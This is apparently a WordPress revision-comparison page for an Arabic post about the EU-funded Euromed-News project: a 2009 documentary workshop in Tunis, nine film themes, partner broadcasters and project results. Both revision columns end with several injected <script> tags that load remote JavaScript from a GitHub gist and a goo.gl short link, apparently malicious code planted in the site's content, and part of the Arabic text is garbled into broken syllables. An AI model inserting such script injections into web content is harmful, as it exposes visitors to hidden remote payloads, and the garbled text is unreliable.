You are viewing an old revision of this post, from May 27, 2010 @ 12:21:08. See below for differences between this version and the current revision.
رحب السيد معاوي ، مدير العام للاتحاد الإذاعات العربية ، يوم 29 يونيو بفرق العمل الجزائرية والأردنية واللبنانية والمغربية والسورية, المسؤولة عن إنجازالأشرطة التسجيلية في إطار مشروع يوروماد نيوز
اجتمعت في تونس ،في المقر الرئيسي لاتحاد إذاعات الدول العربية , خمس فرق مكونة من مدير المشروع ، ومخرج الأفلام التسجيلية لكل مؤسسة تلفزيونية مشاركة و شارك في الاجتماع أيضا مسؤولو الإنتاج التنفيذي ليوروماد نيوز و فريق الكوبيام.
مكنت ثلاثة أيام من الدراسة والمشاورات من ضبط أسس تحقيق "مجموعة" عمل تضمن إنجاز تسعة برامج وثائقية تحاول التعبير عن الوجه الإنساني لمنطقة البحر الأبيض المتوسط عبر تناول مواضيع متعلقة ببرامج الاتحاد الأوروبي في إطار سياته للجوار.
في اليوم الأول, تم تقديم عروض حول أروبا و سياسة الجوار و التذكير بأهداف يوروماد نيوزو هو ما أدى بالمشاركين إلى تحديدأفكارهم و التركيز على مواضيع الأشرطة التسجيلية التسعة و إلى توضيح طريقتهم لمعالاجتها و تحليلها.
و لقد تم عرض هذه الاقترحات الموضوعية على مسؤولة المشروع, كريستال لوكا, دون مؤتمر هاتفي, حتى يتحصل المشاركون على موافقة اللجنة الأروبية ويطلبوا منها دعما مبدئيا للتغلب على أي مشكلة يواجهونها عند إخراج الأشرطة التسجيلية.
أشارت السيدة لوكاس بعد الموافقة على جميع المواضيع تقريبا ، إلى أهمية الجودة في مضمون وشكل الأشرطة التسجيلية التي تواصل بصفة ملموسة فكرة "المتوسطية" ،والتي يمكن عرضها على جمهورالضفتين, الجنوبية والشمالية منها.
في اليوم التالي ، تقاسمت الفرق الخمس الحاضرة في الاجتماع عمل إاخراج الأشرطة, فحددت 5 مواضيع من بين 9 حتى تبدأ كل واحدة منها التركيز على كيفية تحليل الموضوع و طريقة معالجة المحتوى الذي له علاقة مباشرة مع مشاريع الاتحاد الأوروبي المنتهية و القادمة.
سينظم إنتاج الأشرطة التسجيلية كما يالي:
- سينتج التلفزيون السوري شريطا تسجيليا عن أماكن رمزية تدل على الحوار بين الثقافات والأديان,
- وسيقدم التلفزيون الأردني شريطا تسجيليا عن الماء كمورد يجب الحفاظ عليه من فبل الجميع
- وسوف يهتم التلفزيون المغربي بمواضيع اقتصادية واستثمارية وتمويل المشاريع الصغيرة في المنطقة
- و يعالج التلفزيون اللبناني موضوع الحفاظ على التراث الثقافي
- و أخيرا ، لقد اختار التلفزيون الجزائري العمل على مسألة الهجرة ، وبشكل أ خص الهجرة غير الشرعية في المنطقة الأوروالمتوسطية.
في اليوم الأخير ، عقد اجتماع حاسم لعرض المنتجات التي تم إخراجها من قبل كل مشارك, خارج مشروع يوروماد نيوز. ، وبهذه الطريقة تمت معالجة المواضيع و تحديد الأهداف التي يجب الوصول إليها سواءعلى مستوى المحتوى أو نوعية المنتجات المتوقعة.
لقد كان حضور الأستاذ هشام بن عمار, مديرو مخرج مستقل تونسيي, الذي استفاد من التدريب الأروبي,يورو دوك ماد , في مجال البرنامج السمعي البصري يروماد الثاني, مثريا لعمل هذه الورشة فلقد قدم معرفته وتجربته إلى فرق يوروماد نيوز وشارك في المناقشات والمداولات.
بالتالي, انتهت ورشة العمل حول الأفلام التسجيلية بحوار تقني متعدد الثقافات مثمر و يتوافق مع تقنيات إخراج الأفلام التسجيلية.
يبدو أن إعداد توزيع الشرائط التسجيلية سيتم في أكتوبر 2009. و سيبدأ بعد ذلك إنتاج الأشرط الأربعة الباقية.
المواضيع التسعة التي تم اختيارها هي:
الماء: مورد طبيعي مشترك .
الطاقة البديلة
الحوار بين الثقافات والأديان
الاقتصاد والاستثمار في المنطقة اليوروماد
الهجرة
الحماية والمحافظة على التراث الثقافي الأوروبي المتوسطي
النساء
تنقل الشباب في المنطقة اليوروماد
مقاومة التلوث البحر الأبيض المتوسط
Changes:
| May 27, 2010 @ 12:21:08 | Current Revision | ||
|---|---|---|---|
| Title | |||
| ورشة عمل حول الأشرطة التسجيلية - تونس, 2009 | يوروميد- نيوز : فلسفة، مشروع، فريق | ||
| Content | |||
|---|---|---|---|
| <p style="text-align: right;"></p> | |||
| <div align="right"><b><span dir="rtl">فلسفة< /span></b><span dir="rtl">. &quot;إعلام شعوب بلدان جنوب المتوسط بالأعمال التي يساندها الاتحاد الأوروبي لصالح منطقة الجوار، في إطار الحوار القائم بين الثقافات على الضفتين.&quot; تلك هي مهمة تجمع يوروميد- نيوز</span></div> | |||
| <div align="right"></div> | |||
| <div align="right"><b><span dir="rtl">مشروع.< /span></b><span dir="rtl"> المكوَن من هيئاتٍ دولية (اتحاد إذاعات الدول العربية، والكوبيام والاتحاد الأوروبي للبث الإذاعي والتلفزيوني) و وهيئاتٍ إذاعيةٍ عمومية (المؤسسة العمومية للتلفزيون بالجزائر،مؤسسة التلفزيون الفرنسي، ومؤسسة الإذاعة والتلفزيون الأردنية، الهيئة العامة لإذاعات الجماهيرية الليبية بالاشتراك مع الهيئة العامة للإذاعة والتلفزيون بسوري،وتلفزيون لبنان، والشركة الوطنية للإذاعة والتلفزة بالمغرب)، يهدف تجمع يوروميد-نيوز إلى:</span> | |||
| <span dir="rtl">إعلام الجمهور الواسع للشراكة الأورو- متوسطية؛- | |||
| <span dir="rtl">تسهيل تغطية وبث الأخبار الأورو- متوسطية من جانب هيئات الإذاعة والتلفزة ببلدان الجنوب مع مراعاة حقهم في التحرير؛</span>- | |||
| <span dir="rtl">تنشيط الحوار والمعرفة المتبادلة بين شعوب ضفتي المتوسط؛</span>- | |||
| <span dir="rtl">الإفصاح عن أهداف ووسائل ونتائج سياسة الجوار الأوروبية؛</span>- | |||
| <span dir="rtl">تشجيع التنوع الثقافي والمساواة بين الرجال والنساء؛</span>- | |||
| <span dir="rtl">تبني تدريب الصحفيين. </span>-</span></div> | |||
| <div align="right"></div> | |||
| <div style="margin: 5pt 0cm;" align="right"><b><span dir="rtl">فريق< /span></b><span dir="rtl">. بالاشتراك مع الاتحاد الأوروبي، يكون مدير مشروع يوروميد- نيوز هو مؤسسة التلفزيون الفرنسي والمنسق العام هو الكوبيام. والمشرف على الخط التحريري والخيارات التحريرية هو اتحاد إذاعات الدول العربيةمع الاتحاد الأوروبي للبث الإذاعي والتلفزيوني. أما تنسيق تبادل الأخبار الأورو- متوسطية عبر الشبكة المتوسطية للتبادل الإخباري فتتولاه المؤسسة العمومية للتلفزيون بالجزائر بالتعاون مع رئاسة التحرير في اتحاد إذاعات الدول العربية و والاتحاد الأوروبي للبث الإذاعي والتلفزيوني.< /span></div> | |||
| <div style="margin: 5pt 0cm;" align="right"><span dir="rtl">وستقوم بإنتاج أخبار ومجلات ووثائقيات يوروميد-نيوز: المؤسسة العمومية للتلفزيون بالجزائر، ومؤسسة الإذاعة والتلفزيون الأردنية والهيئة العامة لإذاعات الجماهيرية الليبية، والهيئة العامة للإذاعة والتلفزيون بسوريا، ، والشركة الوطنية للإذاعة والتلفزة بالمغرب وتلفزيون لبنان. </span></div> | |||
| <div style="margin: 5pt 0cm;" align="right"></div> | |||
| <div style="margin: 5pt 0cm;" align="right" ><strong><span style="font-size: 14px;">أبرز الأخبار< /span></strong></div> | |||
| <div style="margin: 5pt 0cm;" align="right"> | |||
| <p align="right" ><strong><span dir="rtl">يوروميد -نيوز : النتائج والأفاق< /span></strong></p> | |||
| <p align="right"><em><span dir="rtl">روما، 17 فبراير 2011</span></em></p> | |||
| <p align="right"><span dir="rtl">انته</span><span dir="rtl">ى</span><span dir="rtl">مشروع</span><span dir="rtl"> يوروميد نيوز بنجاح يوم 31 ديسمبر 2010. خلال 24 شهرا، تعاونت ست تلفزيونات عمومية في الضفة الجنوبية للبحر الأبيض المتوسط لإنتاج 300 خبرا، 40 مجلة و 9 أفلام وثائقية متمحورة حول النشاطات التي قام بها الاتحاد</span><span dir="rtl">.</ span>ENPI<span dir="rtl">الأوروبي</span><span dir="rtl"> في بلدان الجنوب</span></p> | |||
| <p align="right"><span dir="rtl">وقد كان يوروميد - نيوز خطوة حاسمة للقطاع السمعي البصري في المنطقة:</span></p> | |||
| <p dir="rtl">تعاونت غرف الأخبار المشاركة في المشروع بشكل مستمر وفعال ، وذلك باستخدام تقنيات ومعايير مشتركة واحترام متبادللحريةالتحرير.</p> | |||
| <p dir="rtl">وكما قالسابقا أعضاء رابطة يوروميد - نيوز أثناء المؤتمر الصحفي في تونس، فإن أفضل الممارسات المكتسبة في إطار المشروع ستكون أساسا لاتخاذ مبادرات جديدة تهدف الى ديمومة الأهداف التي تم تحقيقها.</p> | |||
| <p dir="rtl">وسيتم ذلك، على وجه الخصوص ، من خلال أنشطة تشجع نقل الخبرات -- انتشار وتبادل المعلومات و تناول المواضيع المتعلقة بالمساواة بين الجنسين على شاشة التلفزيون &ndash; وهي موجهة إلى المهنيين من اللتلفزيونات المنتمية الإلى الكوبيام،و اتحاد إذاعات الدول العربية و اتحاد الاذاعات الأوروبية.</p> | |||
| <p dir="rtl">كانت هذه المواضيع موضع النقاش أثناء المؤتمر الصحفي الختامي للمشروع بعنوان &quot;يوروميد نيوز:بحر أبيض متوسطآخر ممكن& quot;المنظم من قبل الكوبيام بمشاركة الوكالة الصحفية الإيطالية و ممثلية المفوضية الأوروبية في رومااليوم 17 فبراير2011.</p> | |||
| <p dir="rtl">وبهذه المناسبة، قدم التلفزيون الفرنسي و اتحاد إذاعات الدول العربية و اتحاد الاذاعات الأوروبية و الكوبيام والمنتج التنفيذي أهداف المشروعونتائجه وتوقعاته.</p> | |||
| <p dir="rtl">هذا المشروع يكتسب أهمية متزايدة في ضوء الأحداث الأخيرة التي هزت منطقة البحر الأبيض المتوسط.</p> | |||
| </div> | |||
| <div style="margin: 5pt 0cm;" align="right"> | |||
| <p align="right" ><strong><span dir="rtl">اجتماع التنسيق و المؤتمر الصحفي </span></strong></p> | |||
| <p align="right">عمان، 6 -7يوليو 2010</p> | |||
| <p align="right"><span dir="rtl">استضاف التلفزيون الأردني في عمان اجتماع التنسيق الأخير لمجموعة يوروميد- نيوز في اليومين 6- 7 يوليو 2010.</span></p> | |||
| <p align="right"><span dir="rtl">مثل الاجتماع </span><span dir="rtl">فرصة</span><span dir="rtl">ل</span><span dir="rtl">تقييم</span><span dir="rtl"> الأنشطة الكلية التي نفذت حتى ذلك التاريخ و النتائج الناجحة المتعلقة بها. </span></p> | |||
| <p align="right"><span dir="rtl">أثناء المؤتمر الصحفي التابع، قد عرضت بعض مقاطع للأفلام الوثائقية المنتوجة ضمن يوروميد- نيوز إلى الصحفيين الحاضرين.</span></p> | |||
| </div> | |||
| <div style="margin: 5pt 0cm;" align="right"></div> | |||
| <div style="margin: 5pt 0cm;" align="right"><a href="http:// www.euromed-news.org/">أضغط هنالعرضمنتوجات المشروع</a><a href="http:// www.euromed-news.org/">ي< /a>وروميد- نيوز</div> | |||
| <div style="margin: 5pt 0cm;" align="right"><a href="http:// www.copeam.org/UserFiles/ File/Projects/ 66_Dossier%20AR%20euromed.pdf">أنظر إلى الملف للصحافة</a></div> | |||
| <div style="margin: 5pt 0cm;" align="right"></div> | |||
| <div style="margin: 5pt 0cm;" align="right"> | |||
| <p align="right" ><strong><span dir="rtl">الدورة التدريبية </span></strong> <strong><span dir="rtl">على< /span></strong> <strong><span dir="rtl">علبة< /span></strong> <strong><span dir="rtl"> أدوات </span></strong> <strong><span dir="rtl">من أجل دراسة تحليلية لصورة المرأة في مجموعة من التلفزيونات الأوروبية. </span></strong></p> | |||
| <p align="right">عمان، 6يوليو 2010</p> | |||
| <p align="right"><span dir="rtl">التغلب على الصور النمطية عن المرأة و انتشار إلى الأخبار الكاملة و المتوازنة،هماموضعي النقاش للصحفيين المشتركين في مشروع </span><span dir="rtl">يوروميد- نيوز </span><span dir="rtl">الذين</span><span dir="rtl">دُعُوا</span><span dir="rtl"> في مناسبة الدورة التدريبية المكرسة إلى علبة أدوات من أجل دراسة تحليلية لصورة المرأة في مجموعة من التلفزيونات الأوروبية. </span></p> | |||
| <p style="text-align: right">ر حب ال سيد مع اوي ، مد ير ال عام لل ات حاد ال إذ اع ات ال عر بية ، يوم 29 يو نيو بف رق ال عمل ال جز ائ رية وا لأ رد نية وا لل بن ان ية وا لم غر بية وا لس ور ية, ال مس ؤو لة عن إن جا زا لأ شر طة ال تس جي لية في إط ار مش روع يو رو ماد ني وز<br /> ا جت معت في تو نس ،في ال مقر ال رئ يسي لا تح اد إذ اع ات ال دول ال عر بية , خمس فرق مك ونة من مد ير ال مش روع ، وم خرج ال أف لام ال تس جي لية لكل مؤ سسة تل فز يو نية مش ار كة و شا رك في ال اج تم اع أي ضا مس ؤو لو ال إن تاج ال تن في ذي لي ور وم اد ني وز و فر يق ال كو بي ام .</p> <p style="text-align: right">م كنت ثل اثة أي ام من ال در اسة وا لم شا ور ات من ضبط أسس تح قيق &quot;م جم وع ة&quot; عمل تض من إن جاز تس عة بر امج وث ائ قية تح اول ال تع بير عن ال وجه ال إن سا ني لم نط قة ال بحر ال أب يض ال مت وسط عبر تن اول مو اض يع مت عل قة بب را مج ال ات حاد ال أو رو بي في إط ار سي اته لل جو ار .</p> <p style="text-align: right">في ال يوم ال أول, تم تق ديم عر وض حول أر وبا و سي اسة ال جو ار و ال تذ كير بأ هد اف يو رو ماد ني وزو هو ما أدى با لم شا رك ين إلى تح دي دأ فك ار هم و ال تر كيز على مو اض يع ال أش رطة ال تس جي لية ال تس عة و إلى تو ضيح طر يق تهم لم عا لا جت ها و تح لي لها. <br /> و لقد تم عرض هذه ال اق تر حات ال مو ضو عية على مس ؤو لة ال مش روع, كر يس تال لو كا, دون مؤ تمر ها تفي, حتى يت حصل ال مش ار كون على مو اف قة ال لج نة ال أر وب ية وي طل بوا من ها دع ما مب دئ يا لل تغ لب على أي مش كلة يو اج هو نها عند إخ راج ال أش رطة ال تس جي لي ة.</p> <p style="text-align: right">أ شا رت ال سي دة لو كاس بعد ال مو اف قة على جم يع ال مو اض يع تق ري با ، إلى أه مية ال جو دة في مض مون وش كل ال أش رطة ال تس جي لية ال تي تو اصل بص فة مل مو سة فك رة &quot;ا لم تو سط ية&quot; ،و ال تي يم كن عر ضها على جم هو را لض فت ين, ال جن وب ية وا لش ما لية من ها .</p> <p style="text-align: right">في ال يوم ال تا لي ، تق اس مت ال فرق ال خمس ال حا ضرة في ال اج تم اع عمل إا خر اج ال أش رطة, فح ددت 5 مو اض يع من بين 9 حتى تب دأ كل وا حدة من ها ال تر كيز على كي فية تح ليل ال مو ضوع و طر يقة مع ال جة ال مح توى ال ذي له عل اقة مب اش رة مع مش ار يع ال ات حاد ال أو رو بي ال من ته ية و ال قا دمة. <br /> س ين ظم إن تاج ال أش رطة ال تس جي لية كما يا لي:<br /> - سي نتج ال تل فز يون ال سو ري شر يطا تس جي ليا عن أم اكن رم زية تدل على ال حو ار بين ال ثق اف ات وا لأ دي ان,<br /> - وس يق دم ال تل فز يون ال أر دني شر يطا تس جي ليا عن ال ماء كم ورد يجب ال حف اظ عل يه من فبل ال جم يع<br /> - وس وف يه تم ال تل فز يون ال مغ ربي بم وا ضيع اق تص اد ية وا ست ثم ار ية وت مو يل ال مش ار يع ال صغ يرة في ال من طقة<br /> - و يع الج ال تل فز يون ال لب نا ني مو ضوع ال حف اظ على ال تر اث ال ثق افي<br /> - و أخ يرا ، لقد اخ تار ال تل فز يون ال جز ائ ري ال عمل على مس ألة ال هج رة ، وب شكل أ خص ال هج رة غير ال شر عية في ال من طقة ال أو رو ال مت وس طي ة.</p> <p style="text-align: right">في ال يوم ال أخ ير ، عقد اج تم اع حا سم لع رض ال من تج ات ال تي تم إخ را جها من قبل كل مش ارك, خا رج مش روع يو رو ماد ني وز. ، وب هذه ال طر يقة تمت مع ال جة ال مو اض يع و تح ديد ال أه داف ال تي يجب ال وص ول إل يها سو اء على مس توى ال مح توى أو نو عية ال من تج ات ال مت وق عة .</p> <p style="text-align: right">ل قد كان حض ور ال أس تاذ هش ام بن عم ار, مد يرو مخ رج مس تقل تو نس يي, ال ذي اس تف اد من ال تد ريب ال أر وب ي,ي ورو دوك ماد , في مج ال ال بر نا مج ال سم عي ال بص ري ير وم اد ال ثا ني, مث ريا لع مل هذه ال ور شة فل قد قدم مع رف ته وت جر بته إلى فرق يو رو ماد ني وز وش ارك في ال من اق شات وا لم دا ول ات.<br /> ب ال تا لي, ان تهت ور شة ال عمل حول ال أف لام ال تس جي لية بح وار تق ني مت عدد ال ثق اف ات مث مر و يت وا فق مع تق ني ات إخ راج ال أف لام ال تس جي لي ة.</p> <p style="text-align: right">ي بدو أن إع داد تو زيع ال شر ائط ال تس جي لية سي تم في أك تو بر 2009. و سي بدأ بعد ذلك إن تاج ال أش رط ال أر بعة ال با قي ة.</p> <p style="text-align: right">ا لم وا ضيع ال تس عة ال تي تم اخ تي ار ها هي :</p> <p style="text-align: right">ا لم اء: مو رد طب يعي مش ترك .<br /> ا لط اقة ال بد يلة<br /> ا لح وار بين ال ثق اف ات وا لأ دي ان<br /> ا لا قت صاد وا لا ست ثم ار في ال من طقة ال يو رو ماد<br /> ا له جرة<br /> ا لح ما ية وا لم حا فظة على ال تر اث ال ثق افي ال أو رو بي ال مت وس طي<br /> ا لن ساء<br /> ت نقل ال شب اب في ال من طقة ال يو رو ماد<br /> م قا ومة ال تل وث ال بحر ال أب يض ال مت وس ط</p> <p>< /p> <p><br /> < /p> <p></p> <p></p> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | <a href="http:// www.copeam.org/ pag.aspx?ln= en&amp;id= 176">لمزيد من المعلومات</a></div> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | ||
Note: Spaces may be added to comparison text to allow better line wrapping.
